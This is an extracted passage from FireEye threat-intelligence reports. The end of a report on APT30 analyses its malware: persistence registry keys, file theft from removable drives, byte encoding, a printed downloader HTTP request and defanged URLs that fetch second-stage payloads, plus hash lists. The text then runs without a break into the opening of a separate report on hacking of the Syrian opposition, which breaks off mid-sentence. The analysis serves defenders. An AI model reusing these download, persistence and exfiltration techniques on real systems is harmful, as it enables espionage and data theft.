FLASHFLOOD appears to be an older piece of malware, or possibly one less frequently found in the wild ; identified samples were compiled as early as 2005, but are less common (or nonexistent?) after 2009. FLASHFLOOD has some similarities to SPACESHIP, in that it will search for and archive files that match a configurable pattern; it even uses the same encoding process on archived files. One difference is that FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the removable drive to the FLASHFLOOD-infected system. This may simply be yet another means to identify any interesting files for data theft, including those that happen to reside on a removable drive inserted into the victim computer. Alternately, FLASHFLOOD may have been designed to copy files that had been placed on a removable drive (perhaps by SPACESHIP), possibly copied from an interesting location such as an air-gapped network. This theory is bolstered by the fact that one of the default file extensions searched for by FLASHFLOOD is .ldf, the extension used by SPACESHIP for copied and encoded files. FLASHFLOOD may also log or copy additional data from the victim computer, such as system information or contacts. The FLASHFLOOD sample 5d4f2871fd1818527ebd65b0ff930a77 was compiled on 17 February, 2009. When executed, the malware creates a mutex named "MicrosoftFlashZJ" and also creates two events named "MicrosoftFlashExit" and "MicrosoftFlashHaveExit". If the following registry key is not present, the malware creates it and continues the installation process: Key: HKLM\Software\Microsoft\GetInf Value: pid SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Data: [Encoded filename of implant] The filename is encoded by incrementing the hex value of each ASCII character by one. FLASHFLOOD copies itself to the file C:~a, then copies that file to %SystemDrive%\Program Files\ Outlook Express\msinm.exe. The malware changes to the target directory, executes msinm.exe and exits. To maintain persistence, FLASHFLOOD creates the following registry value: Key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Value: msinm.exe Data: [Path to install] FLASHFLOOD attempts to read the file %WINDIR%\FILETYPE.INI for a list of file patterns of interest. If the file does not exist the malware uses the following default file extensions: Table 18: Default file extensions searched for by FLASHFLOOD File Extension Document Type .doc Microsoft Word document .docx Microsoft Word document .ldf File extension used by SPACESHIP for copied and encoded files .max Autodesk 3ds Max CAD file .pdf Adobe Acrobat Portable Document Format .pgp Pretty Good Privacy .rhs unknown .rtf Rich Text Format .tif Tagged Image Format graphics file .wpd Word Perfect Document FLASHFLOOD creates the following directories, used to store malware log data and copied files of interest: %WINDIR%\$NtUninstallKB885884$\ %WINDIR%\$NtUninstallKB885884$\FlashFiles %WINDIR%\$NtUninstallKB885884$\LastFiles %WINDIR%\$NtUninstallKB885884$\RecentFiles SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation During initialization, FLASHFLOOD queries the registry value HKLM\SYSTEM\ CurrentControlSet\Services\SENS\Parameters\ServiceDll and logs the result to %WINDIR%\$NtUninstallKB885884$\Info.txt.47 The file Info.txt is a general log file used by FLASHFLOOD to store information collected from the system. FLASHFLOOD also logs information stored in the Windows Address Book using the IAddrBook interface.48 Information logged includes User, Nick, E-mail and Type. FLASHFLOOD parses the shortcut (.lnk) files from the user s "My Recent Documents" folder and archives the target files to %WINDIR%\$NtUninstallKB885884$\RecentFiles. The malware uses the same format for archiving files as SPACESHIP; the original files are copied and an .ldf extension is added. The files are then zlib compressed and each byte is rotated 4 positions and XOR-encoded with 0x23. FLASHFLOOD creates the file %WINDIR%\FILETIME.DAT and writes the current system time to the file in FILETIME format. 49 The file is likely used to ensure the malware collects only recent files. FLASHFLOOD scans connected drives and the directories "Desktop", "Temporary Internet Files" and "TEMP" for files that match the patterns of interest (obtained from FILETYPE.INI or the default set of file extensions). Matching files are archived to %WINDIR%\$NtUninstallKB885884$\LastFiles. For drives attached to the system after FLASHFLOOD initially executes, the malware scans for files matching the patterns of interest. The malware s behavior differs slightly depending on the size of the detected drive. For drives with a capacity less than 2,500,000,000 bytes (approximately 2.5 GB),50 FLASHFLOOD scans the entire drive and will archive any files of interest found on the drive to %WINDIR%\$NtUninstallKB885884$\FlashFiles, using the archive method (compress, rotate bytes, XOR) described above. For any files found in the $LDDATA$ or RECYCLED directories, FLASHFLOOD will copy the file directly 51 (no archiving is performed) and delete the original file from the detected drive. For drives with a capacity greater than 2,500,000,000 bytes, FLASHFLOOD will only scan the directories $LDDATA$ and RECYCLED (if present). Any files found in these directories are copied to %WINDIR%\$NtUninstallKB885884$\FlashFiles and the original files are deleted. In both cases, details of the scan are logged to %WINDIR%\$NtUninstallKB885884$\OtherInfo.txt. MISCELLANEOUS TOOLS In addition to the malware listed above, APT30 has used a variety of droppers, downloaders, and other utilities. In some cases, instead of directly installing a backdoor via a malicious document, APT30 will install a stage one downloader that attempts to retrieve a second stage backdoor (often NETEAGLE) from a specified location. MILKMAID / ORANGEADE Droppers and CREAMSICLE Downloader MILKMAID and ORANGEADE are two dropper families typically installed via a malicious attachment, such as a malicious Word document. Both droppers have been observed to drop variants of the CREAMSICLE downloader. MILKMAID drops a variant of CREAMSICLE implemented as a stand-alone executable, where the slightly older ORANGEADE drops a variant of CREAMSICLE implemented as a DLL. 52 SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Each dropper extracts its version of CREAMSICLE and creates a shortcut (.lnk) file that references the file to be downloaded by CREAMSICLE; that is, the dropper sets up persistence for the second stage downloaded file. India deploys world's largest military transport plane.doc (md5 hash 7d775a39ecd517cee4369c672e0e4da7) is an example of an exploit document one built with a common document weaponizer that appears to be shared across multiple threat groups that drops MILKMAID and the EXE variant of CREAMSICLE. The document creates the file firefox.exe (MILKMAID) and a nonmalicious decoy document (Wor.doc) in the user s %TEMP% directory, executes firefox.exe, and displays the non-malicious document. MILKMAID extracts a compressed PE (readme.lz) from its resource section, decompresses it, and writes it to %APPDATA%\Norton360\Engine\5.1.0.29 as wssfmgr.exe (CREAMSICLE). MILKMAID creates the shortcut file Symantec LiveUpdate.lnk in the user s Startup folder (%USERPROFILE%\Start Menu\Programs\Startup) with the target path %APPDATA%\Norton360\ Engine\5.1.0.29\ccSvcHst.exe (%APPDATA% is expanded). Finally, MILKMAID launches CREAMSICLE (wssfmgr.exe). CREAMSICLE attempts to download an encoded executable from a specified location using the following HTTP request: Figure 32: CREAMSICLE download request GET /stactivex/update1.htm HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: www.creammemory.com Cache-Control: no-cache The downloaded file is decoded, written to disk as %APPDATA%\Norton360\Engine\5.1.0.29\ccSvcHst. exe, and padded with 51,200,000 null bytes. CREAMSICLE does not appear to execute the downloaded file, presumably relying on Windows to do so (using the shortcut file in the user s Startup folder) the next time the user logs in. BACKBEND and GEMCUTTER Downloaders BACKBEND and GEMCUTTER are older downloaders that have been previously used by APT30. BACKBEND BACKBEND is a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. The BACKBEND sample af504e86416c5f643e96f6e5e69566f0 was compiled on 16 August 2007. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation If BACKBEND is not running from the C:\Program Files\Internet Explore folder as iexplore.exe, it creates the folder and copies itself as iexplore.exe to that location. Next, if the current execution path of the malware process is not \Update.exe, 53 it copies itself to that location to achieve persistence. Finally, BACKBEND starts the C:\Program Files\ Internet Explore\iexplore.exe process by providing the current path of the malware as the first command line parameter. If the malware process executable file path is C:\Program Files\Internet Explore\iexplore.exe, BACKSPACE deletes the file given by the first command line parameter passed in. Then, the malware downloads a file from hxxp://www.cbkjdxf[.]com/04-1/04-1.htm and saves it under Windows directory as netsvc.exe. 54 BACKSPACE starts a new process using the full path of the downloaded file (%windir%\netsvc.exe) and deletes \Update.exe. GEMCUTTER GEMCUTTER is used in a similar capacity as BACKBEND, but maintains persistence by creating a Windows registry run key. The GEMCUTTER sample bf8616bbed6d804a3dea09b230c2ab0c was compiled on 15 February, 2009. The malware starts by creating MicrosoftGMMExit and MicrosoftGMMHaveExit as non-signaled events. GEMCUTTER then queries for the registry value HKEY_LOCAL_MACHINE\Software\Microsoft\GetMM\ pid. If the value does not exist, the malware sets the registry value to the encoded malware process filename (each filename character incremented by one). GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event. The malware performs cleanup by deleting the registry value with the same name as the malware filename under the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run registry key and the file with the same name as the malware itself in the %sysdir% directory. If GEMCUTTER is not running from %sysdir% as CTFM0N.xxx (the file extension is excluded in the check), the malware copies itself to that location. The malware then starts a new process by providing %sysdir%\ CTFM0N.exe as the executable file path, and the current process exits. If GEMCUTTER is running from %sysdir% as CTFM0N.xxx, the malware creates a new registry value under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, with the value and data set to CTFM0N.EXE. The registry value HKEY_LOCAL_MACHINE\Software\Microsoft\GetMM\pid is set to the DUGN1O/fyf (CTFM0N.EXE with each character incremented by 1). GEMCUTTER checks for the existence of the mutex MicrosoftZj (associated with BACKSPACE). If the mutex doesn't exist, GEMCUTTER downloads a file from hxxp://www.lisword[.]com/HM/Update.htm and saves it under %windir% as netsvc.exe. A new process is started using %windir%\netsvc.exe55 as the executable file path. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APPENDIX B MD5 HASHES Below are md5 hash values for a representative sample of APT30 malware. MD5 Hash Malware Family 002e27938c9390a942cf4b4c319f1768 BACKSPACE 062fe1336459a851bd0ea271bb2afe35 BACKSPACE 09010917cd00dc8ddd21aeb066877aa2 BACKSPACE 0fcb4ffe2eb391421ec876286c9ddb6c BACKSPACE 12e1dcd71693b6f875a98aefbd4ec91a BACKSPACE 1f64afa4069036513604cbf651e53e0d BACKSPACE 29395c528693b69233c1c12bef8a64b3 BACKSPACE 37e568bed4ae057e548439dc811b4d3a BACKSPACE 40f47850c5ebf768fd1303a32310c73e BACKSPACE 414854a9b40f7757ed7bfc6a1b01250f BACKSPACE 428fc53c84e921ac518e54a5d055f54a BACKSPACE 4c10a1efed25b828e4785d9526507fbc BACKSPACE 4c6b21e98ca03e0ef0910e07cef45dac BACKSPACE 4e5c116d874bbaaf7d6dadec7be926f5 BACKSPACE 550459b31d8dabaad1923565b7e50242 BACKSPACE 59e055cee87d8faf6f701293e5830b5a BACKSPACE 5ae51243647b7d03a5cb20dccbc0d561 BACKSPACE 5b590798da581c894d8a87964763aa8b BACKSPACE 62e5d5e244059dc02654f497401615cc BACKSPACE 65232a8d555d7c4f7bc0d7c5da08c593 BACKSPACE 853a20f5fc6d16202828df132c41a061 BACKSPACE 95bfe940816a89f168cacbc340eb4a5f BACKSPACE 9c0cad1560cd0ffe2aa570621ef7d0a0 BACKSPACE a5ca2c5b4d8c0c1bc93570ed13dcab1a BACKSPACE a9e8e402a7ee459e4896d0ba83543684 BACKSPACE acb2ba25ef225d820ac8a5923b746cb8 BACKSPACE SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Below are md5 hash values for a representative sample of APT30 malware. MD5 Hash Malware Family b2138a57f723326eda5a26d2dec56851 BACKSPACE b590c15499448639c2748ff9e0d214b2 BACKSPACE b7b282c9e3eca888cbdb5a856e07e8bd BACKSPACE ba80e3ad617e6998f3c4b003397db840 BACKSPACE c95cd106c1fecbd500f4b97566d8dc96 BACKSPACE d38e02eac7e3b299b46ff2607dd0f288 BACKSPACE d8e68db503f4155ed1aeba95d1f5e3e4 BACKSPACE d93026b1c6c828d0905a0868e4cbc55f BACKSPACE db3e5c2f2ce07c2d3fa38d6fc1ceb854 BACKSPACE df1799845b51300b03072c6569ab96d5 BACKSPACE e26a2afaaddfb09d9ede505c6f1cc4e3 BACKSPACE e3ae3cbc024e39121c87d73e87bb2210 BACKSPACE e62a63307deead5c9fcca6b9a2d51fb0 BACKSPACE ec3905d8e100644ae96ad9b51d701a7f BACKSPACE ed151602dea80f39173c2f7b1dd58e06 BACKSPACE 07bb30a2a42423e54f70af61e20edca3 BACKSPACE 08f299c2d8cfe1ae64d71dfb15fe6e8d BACKSPACE 139158fe63a0e46639cc20b754a7c38c BACKSPACE 4a41c422e9eb29f5d722700b060bca11 BACKSPACE 646e2cfa6aa457013769e2b89454acf7 BACKSPACE 948a53450e1d7dc7535ea52ca7d5bddd BACKSPACE a2e0203e665976a13cdffb4416917250 BACKSPACE ad044dc0e2e1eaa19cf031dbcff9d770 BACKSPACE af1c1c5d8031c4942630b6a10270d8f4 BACKSPACE c6e388ee5269239070e5ad7336d0bf59 BACKSPACE c9484902c7f1756b26244d6d644c9dd5 BACKSPACE SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Below are md5 hash values for a representative sample of APT30 malware. MD5 Hash Malware Family cc06815e8d8c0083263651877decb44b BACKSPACE dc95b0e8ecb22ad607fc912219a640c1 BACKSPACE f97ec83d68362e4dff4756ed1101fea8 BACKSPACE 572c9cd4388699347c0b2edb7c6f5e25 BACKSPACE 6e689351d94389ac6fdc341b859c7f6f BACKSPACE b5546842e08950bc17a438d785b5a019 BACKSPACE 010ca5e1de980f5f45f9d82027e1606c BACKSPACE 0570066887f44bc6c82ebe033cad0451 BACKSPACE 0a4fdacde69a566f53833500a0d53a35 BACKSPACE 1133fe501fa4691b7f52e53706c80df9 BACKSPACE 2a2b22aa94a59575ca1dea8dd489d2eb BACKSPACE 2d75de9e1bb58fe61fd971bb720a49b7 BACKSPACE 40601cf29c1bbfe0942d1ac914d8ce27 BACKSPACE 44992068aab25daa1decae93b25060af BACKSPACE 49ee6365618b2a5819d36a48131e280c BACKSPACE 4b8531d294c020d5f856b58a5a23b238 BACKSPACE 4ee00c46da143ba70f7e6270960823be BACKSPACE 5ddbd80720997f7a8ff53396e8e8b920 BACKSPACE 65b984b198359003a5a3b8aaf91af234 BACKSPACE 6791254f160e98ac1f46b4d506b695ad BACKSPACE 7b111e1054b6b929de071c4f48386415 BACKSPACE 8022a4136a6200580962da94f3cdb905 BACKSPACE 8214b0e18fbcd5db6b008884e7685f2c BACKSPACE 8da9373fc5b8320fb04d6202ca1eb6f1 BACKSPACE 9c31551cd8087072d08c9004c0ce76c5 BACKSPACE SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation APPENDIX C ENDNOTES While binary compile times can be modified or faked, we believe that compile dates for APT30 malware are reliable. Given several hundred malware samples, the compile dates show a fairly regular distribution over the years 2005 present. In addition, registration dates for the earliest known APT30 domains also support origins dating back to the same time frame. We were able to verify that each file s icon type (Adobe or Word) was consistent with the letter used (p or w). Although we were only able to identify one malicious document used to deploy a ZRLnk variant (md5 hash d2661543c3c456f5fafdd97e31aaff17), the document type (an RTF file, typically opened by Microsoft Word) was also consistent with the version convention. We did not have conclusive data to interpret the meaning of the last character and , present in some samples. Some evidence suggests that it may represent the inclusion or exclusion of additional malware features, such as the ability to bypass personal firewalls; this appears to be true for at least one variant of BACKSPACE ( Zj Listen The use of mutexes and events also supports version control, ensuring that the newer version of the malware executed during the self-update process replaces the previous version. See Appendix A for a detailed description of BACKSPACE malware. While the controller software refers to itself as NetEagle, it is used to manage backdoor clients for the malware we call BACKSPACE (also known as Lecna ). The malware we call NETEAGLE uses a different set of commands and is not compatible with the NetEagle controller. In an attempt to avoid confusion, we will refer to the controller as the BACKSPACE controller, since it is used to manage BACKSPACE clients. This aligns with early BACKSPACE compile dates of 2005. BACKSPACE samples with md5 hash values acb2ba25ef225d820ac8a5923b746cb8 and c90f798ccfbedb4bbe6c4568e0f05b68 are two examples. Additional paths with slight variations have also been observed in FLASHFLOOD, such as %WINDIR%\$NtUninstallKB885884$. A controller that could be freely copied and distributed would erode the market for future custom software purchases. See Appendix for detailed analysis of both BACKSPACE and NETEAGLE. For example, the BACKSPACE B and Y commands; see Appendix for details. See Appendix for detailed analysis. http://www.asean.org/asean/about-asean http://www.asean.org/news/item/eighteenth-asean-summit-jakarta-7-8-may-2011 http://www.asean.org/news/asean-statement-communiques/item/joint-statement-the-seventh-asean-plus-three-labourministers-meeting-7th-almm3-phnom-penh-11-may-2012 http://maritimesecurity.asia/free-2/asean-2/asean-china-talk-on-east-sea/ http://www.aseanindia.com/summit-2012/ http://en.wikipedia.org/wiki/List_of_Secretaries-General_of_the_Association_of_Southeast_Asian_Nations http://www.asean.org/news/asean-secretariat-news/item/asean-today-2 For the ZJ Listen variants, the vs. in the version number appears to differentiate between variants that attempt to bypass certain host-based firewalls by generating mouse-click events on dialog box buttons. The variants include this feature; the variants do not. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation The paths %WINDIR%\$NtUninstallKB900727$ and %WINDIR%\$NtUninstallKB885884$ are used by some variants of the FLASHFLOOD malware, one of three components believed to be used to steal data from air-gapped networks. Two outliers were compiled in May 2011; those samples also used the aseanm.com C2 domain and may have been created to target the 18th ASEAN Summit. CSIDL (constant special item ID list) values are used to identify frequently used folders that may not have the same path on different Windows systems. CSIDL_TEMPLATES corresponds to the folder used to store document templates; for example, C:\Documents and Settings\\Templates. See https://msdn.microsoft.com/en-us/desktop/ bb762494%28v=vs.85%29.aspx for additional detail. The threat actor can provide a target IP address or hostname with the command. Most ZJ Listen samples were compiled on December 31, 2012 and share similar version numbers with the ZJ Link samples from April 2013 (e.g., version strings containing Lan2.2Lnk for ZJ Listen and F2.2Lnk or F2.3Lnk for ZJ Link http://www.mfa.gov.bt/wp-content/uploads/2013/08/press-release11.pdf Shear, Michael. White House Urges China to Act on Journalists Visas . Jan 30, 2014. http://www.nytimes. com/2014/01/31/world/asia/white-house-urges-china-to-act-on-journalists-visas.html BACKSPACE is also known as Lecna and may be detected by security vendors by either name e.g., Backdoor.APT.Lecna. Comparison is generalized; individual samples may vary. The hex representation of each ASCII character is incremented by one. (0x4D) becomes (0x4E), (0x2E) becomes (0x2F), etc. https://msdn.microsoft.com/en-us/library/windows/desktop/aa365740%28v=vs.85%29.aspx Analysis of other BACKSPACE variants suggests that the firewall bypass features may be a modular capability that can be compiled into different versions at will. Preliminary analysis suggests that version numbers for some BACKSPACE variants may include a or an to indicate the presence or absence of this feature. Version information is the OSVERSIONINFO struct data returned by a call to GetVersionEx. Analysis of other versions of BACKSPACE showed that Port3 may be used for an interactive remote command shell, but that function was not supported in sample 6ee35da59f92f71e757d4d5b964ecf00. https://msdn.microsoft.com/en-us/library/windows/desktop/aa365740%28v=vs.85%29.aspx Due to limited availability of products localized for languages like Thai, Tagalog, or others used in the Southeast Asia region, English and Chinese would likely be the most common versions used by organizations in that area. The is overwritten by the malware version string. The version string is 5 bytes including the NULL character. It appears the beacon was intended to have a 4 byte version string. When copying the 2.18\x00, the last \x00 overwrites the character. Persistence may be provided by other files used to retrieve or install NETEAGLE; for example, the MILKMAID/ ORANGEADE droppers create a shortcut file to establish persistence for a second-stage file downloaded by their CREAMSICLE payloads. It is possible that this behavior is configured within the binary at compile time, or has been otherwise modified in this version. SHIPSHAPE determines the disk size by TotalNumberOfBytes returned from GetDiskFreeSpace. The return value is typically the size of the drive or, if quotas are enabled, the value is the size of the quota. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Because the copied executables are external to the SHIPSHAPE malware, their content or purpose is unknown. FireEye believes that SHIPSHAPE may be used to copy tools such as SPACESHIP, which could then be transferred (via the removable drive) to another victim computer. The sample f18be055fae2490221c926e2ad55ab11, described here, targets folders and .doc/.docx files, although the sample b249bcf741e076f11b6c9553f6104f16 contains icons for a much broader range of file types within its resource section. These are believed to be directories used by other pieces of the malware ecosystem. The SPACESHIP sample analyzed below references both the \msdn\ and \Recycled\ directories on a removable drive; the FLASHFLOOD sample references \$LDDATA$\ and \Recycled\. Info.txt is used as a log file where information associated with scanning and file information is kept. Likely an updated configuration file. Note the missing \ in the directory path between FoxPro and ld.ini.) The purpose of this activity is unclear. SENS (the System Event Notification Service) can be used to support mobile computers or computers on high-latency networks. See https://msdn.microsoft.com/en-us/library/windows/desktop/ cc185680%28v=vs.85%29.aspx. See https://msdn.microsoft.com/en-us/library/ms629649%28v=vs.85%29.aspx. See https://msdn.microsoft.com/en-us/library/windows/desktop/ms724284%28v=vs.85%29.aspx. FLASHFLOOD determines the disk size using the TotalNumberOfBytes returned from GetDiskFreeSpace. The return value is typically the size of the drive or, if quotas are enabled, the value is the size of the quota. Presumably files in these directories were already archived, e.g., when copied to the drive by SPACESHIP. The file China MFA Press Briefing 29October 2012.doc (md5 hash f054c0f8c5b4c2a5eb30a16ebe09d8d0) is an example of an exploit document that drops ORANGEADE and the DLL variant of CREAMSICLE. is a file system directory that corresponds to the user's Startup program group; for example, C:\Documents and Settings\[user]\Start Menu\Programs\Startup under Windows XP or C:\Users\[user]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup under Vista/Windows 7. Netsvc.exe is presumably an updated backdoor, downloaded if the BACKSPACE mutexes are not found on the victim host. Netsvc.exe is presumably an updated backdoor, downloaded if the BACKSPACE mutex is not found on the victim host. To download this or other FireEye Threat Intelligence reports, visit: www.fireeye.com/reports FireEye, Inc. | 1440 McCarthy Blvd. Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com 2015 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.SYR.EN-US.022015 S P E C I A L R E P O R T F I R E E Y E T H R E AT I N T E L L I G E N C E BEHIND THE SYRIAN CONFLICT DIGITAL FRONT LINES FEBRUARY 2015 AUTHORS: DANIEL REGALADO NART VILLENEUVE JOHN SCOTT RAILTON1 SECURITY REIMAGINED SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines CONTENTS FEBRUARY 2015 Introduction Key findings I. Data theft: stealing the opposition s plans II. Victims: serving varied roles in the opposition Victims Located in Syria and beyond III. Tactics: encountering femme fatale Chatting with female avatars Seeding malware on social media A fake Syrian opposition website Social networking profiles and Facebook credential phishing One compromised system, multiple victims IV. Malware: a range of tools for multiple platforms V. Potential threat group sponsorship Lebanon: a recurring theme Conclusion Acknowledgements Appendix A: malware analysis Multi-stage self-extracting RAR dropper ONESIZE Keylogger BLACKSTAR, a custom dropper for the DarkComet RAT YABROD downloader and CABLECAR launcher Detailed analysis Python-based backdoor shellcode launcher Android backdoors Malware samples John Scott Railton is a Research Fellow at the Citizen Lab, Munk School of Global Affairs, University of Toronto and a PhD Student at UCLA SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines IN MID-2013, ten armed units working in opposition to Syrian President Assad s regime were planning a major operation intended to push a front forward against the Syrian government s forces. They carefully laid out their objective take and hold a series of positions and liberate the town of Khirbet Ghazaleh, a strategic gateway to the major city of Daraa. They used Google Earth to map their defensive lines and communicate grid coordinates. They shared photocopied battle plans and in red ballpoint pen added defensive berms, saving their plans electronically as pictures. They planned for a battle involving between 700 and 800 opposition forces, who were divided into groups to launch separate attacks, including an ambush. They mapped out locations for reserve fighters, staging areas, and support personnel, settled on a field operations area, and planned supply routes to resource their forces. They sternly told commanders of each unit that they could make no individual decisions without the approval of the Operations element. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines THEY WOULD BEGIN the attack with a barrage of 120mm mortar fire, followed by an assault against key regime troop locations. They drew up lists of men from each unit, with names, birthdates, and other identifying information. They used formulas in a colorful Excel spreadsheet to calculate per-man ammunition needs. They arranged and assigned heavier weapons to various engagements: several tanks, a BMP fighting vehicle, 14.5mm and 23mm anti-aircraft guns, B-10 82 mm recoilless rifles, Yugoslav 90mm M79 Osa anti-tank weapons and other equipment. Finally, they prepared and staffed medical teams and battlefield ambulances. They would have a driver, stretcher-bearer, and two armed elements for additional support. We uncovered these battle plans in the course of our ongoing threat research. It quickly became apparent that we had come across stolen documents containing the secret communications and plans of Syrian opposition forces that had fallen victim to a well-executed hacking operation. Between at least November 2013 and January 2014, the hackers stole a cache of critical documents and Skype conversations revealing the Syrian opposition s strategy, tactical battle plans, supply needs, and troves of personal information and chat sessions belonging to the men fighting against Syrian President Bashar al-Assad s forces. While we do not know who conducted this hacking operation, if this data was acquired by Assad forces or their allies it could confer a distinct battlefield advantage. To undertake this operation, the threat group employed a familiar tactic: ensnaring its victims through conversations with seemingly sympathetic and attractive women. A female avatar would strike up a conversation on Skype and share a personal photo with her target. Before sending the photo she typically asked which device the victim was using an Android phone or a computer likely in an effort to send appropriately tailored malware. Once the target downloaded the malware-laden photo, the threat group accessed his device, rifled through files and selected and stole data identifying opposition members, their Skype chat logs and contacts, and scores of documents that shed valuable insight into military operations planned against President Assad s forces. Behind the Syrian Conflict s Digital Front Lines SPECIAL REPORT KEY FINDINGS DATA THEFT VICTIMS The threat group stole hundreds of documents and some 31,107 logged Skype chat sessions that included discussions of plans and logistics of the Syrian opposition s attacks on Assad s forces. Targeted individuals included armed opposition members, media activists, humanitarian aid workers, and others. The victims are located in Syria, the region and beyond. TACTICS AND TECHNIQUES The threat actors used female Skype avatars to chat with their targets and infect their devices with malware. typically asked her intended victim if he was using Skype on an Android or a computer, in a likely attempt to send malware tailored to the device. The threat group also maintained a seemingly pro-opposition website containing links to malicious downloads and Facebook profiles with malicious links as well. They conducted these operations using servers located outside of Syria. MALWARE The threat group employed a diverse malware toolset that implied access to development resources. They used both widely available and custom malware to breach their targets, including the DarkComet RAT, a customized keylogger, and tools with different shellcode payloads. POTENTIAL SPONSORSHIP While we have only limited indications about the origins of this threat activity, our research revealed multiple references to Lebanon both in the course of examining the malware and in the avatar s social media use. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines I. DATA THEFT: STEALING THE OPPOSITION S PLANS he threat group amassed a significant amount of data, from Skype account databases to planning documents and spreadsheets to photos. The victims created the majority of the data from May 2013 to December 2013. Some of the stolen Skype databases included chat history going back to 2012 and activity as recent as January 2014. The threat group chose what it stole carefully, there were only a few instances where the group downloaded movies, empty files, end user licensing agreements, baby pictures, school papers, and other seemingly extraneous material. We have summarized the major types of information contained in the stolen data in the table below: TYPES OF STOLEN INFORMATION MILITARY INFORMATION POLITICAL INFORMATION HUMANITARIAN ACTIVITIES AND FINANCING REFUGEE PERSONAL INFORMATION MEDIA AND COMMUNICATIONS Conversations and documents planning military operations Political strategy discussions Humanitarian needs assessments Political tracts, manifestos, and alliances within the opposition Lists of materials for the construction of major refugee camps Applications for assistance by refugees to authorities in Turkey Documents and strategy information pertaining to media releases Details on military hardware and positions of fighting groups Names of members of fighting groups and their weapons systems Humanitarian financial assistance disbursement records Lists of aid recipients, scans of ID cards Situation reports and lists of casualties Information about rights abuses SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines STOLEN DATA 7.7 GB OF STOLEN DATA 12,356 CONTACTS 64 31,107 SKYPE ACCOUNT DATABASES CONVERSATIONS 240,381 MILITARY INFORMATION The threat group took a range of military-related information, and seemed to pay special attention to files that contained lists of names. We found dozens of lists identifying hundreds of fighters serving in armed opposition groups. Some lists included names and birthdates, while others noted the weapons and serial numbers each man carried, their blood types, and their phone numbers. The threat group also stole lists of officers in Assad s forces, and pictures of suspected Hezbollah operatives captured or killed inside Syria, as well as pictures of fighting-age men with weapons and in irregular uniforms posing for the camera or exploring battle damaged towns. Sometimes, the threat group would take whole sets of files pertaining to upcoming large-scale military operations. These included correspondence, rosters, annotated satellite images, battle maps, orders of battle, geographic coordinates for attacks, and lists of weapons from a range of fighting groups. We identified records of the number of Kalashnikovs and light machine guns taken, materials found, and casualties suffered during operations. One such report describes capturing a warehouse filled with chemical weapons protective equipment, suits, cleaning products, and possibly antidotes. The report did not mention whether any chemical agents were found. MESSAGES The threat group also took Skype chat logs, in which mundane conversations often transitioned into sensitive communications about strategy, logistical issues, and supply routes, and frank assessments of recent engagements with the enemy. In one chat, opposition members discuss the movement of a shipment of 9M113 TOW missiles and launchers, and agree upon a time and location to handover the weapons. POLITICAL INFORMATION The Skype chat logs likely provided the threat group with an inside view into the politics of the Syrian opposition, as individuals discussed coalitions, criticized people, and shifted alliances. In addition to the Skype logs, the threat actors also stole a large number of documents detailing opposition political structures, including the formation of political parties, political support, and shifting allegiances in the diaspora. HUMANITARIAN ACTIVITIES AND FINANCING The threat actors also stole a wide range of material concerning humanitarian activities in Syria and bordering countries. These included many lists of humanitarian needs, such as perfamily lists of blanket and mattress distribution in refugee camps. The threat actors stole records of financial assistance, and money sent per-month to opposition groups within the country. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines MAP OF SYRIAN OPPOSITION BATTLE PLANS Opposition battle plans were stolen that included information about the emplacements of antigovernment forces. The stolen plans are high-value artifacts that may have provided actionable military intelligence to the recipients. This redacted map shows part of an attack plan against Assad's forces military encampment (red rectangle). The threat group stole data such as personal updates, lists of casualties, and documents discussing investigations into the use of chemical weapons. REFUGEE PERSONAL INFORMATION We also found that the threat actors had stolen information pertaining to Syrian refugees in Turkey and elsewhere. Refugees must provide a range of documentation to the relevant authorities in order to receive benefits from the host country. The threat group had obtained filled-out applications for assistance and education, and even the scanned ID cards of refugees and their CVs. We found photos depicting Syrian families in Turkish refugee camps, and children next to cars in temporary refugee housing. MEDIA AND COMMUNICATIONS OPERATIONS Several of the threat group s victims engaged in media activities on behalf of the revolution. The threat group stole data such as personal updates, lists of casualties, and documents discussing investigations into the use of chemical weapons. In some cases, the threat actors also stole composite images of fighters killed in battle, as well as the original photographs from which they were taken. CREDENTIALS The threat group also obtained user account information, possibly to continue monitoring the opposition s communications. The threat actors collected Facebook account information through the use of a fabricated login page, and believe that they relied on Remote Access Trojans (RATs) and extensive keylogging to obtain credentials as well. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines II. VICTIMS: SERVING VARIED ROLES IN THE OPPOSITION e analyzed the stolen Skype databases to find out what roles the victims served in the opposition and to understand the connections between the victims. First, we scanned the contents of the victims chat logs to identify other victims. We then surmised that the number of shared contacts between the Skype accounts illustrated the relationships between victims. We were also able to ascertain more about the victims roles and work from 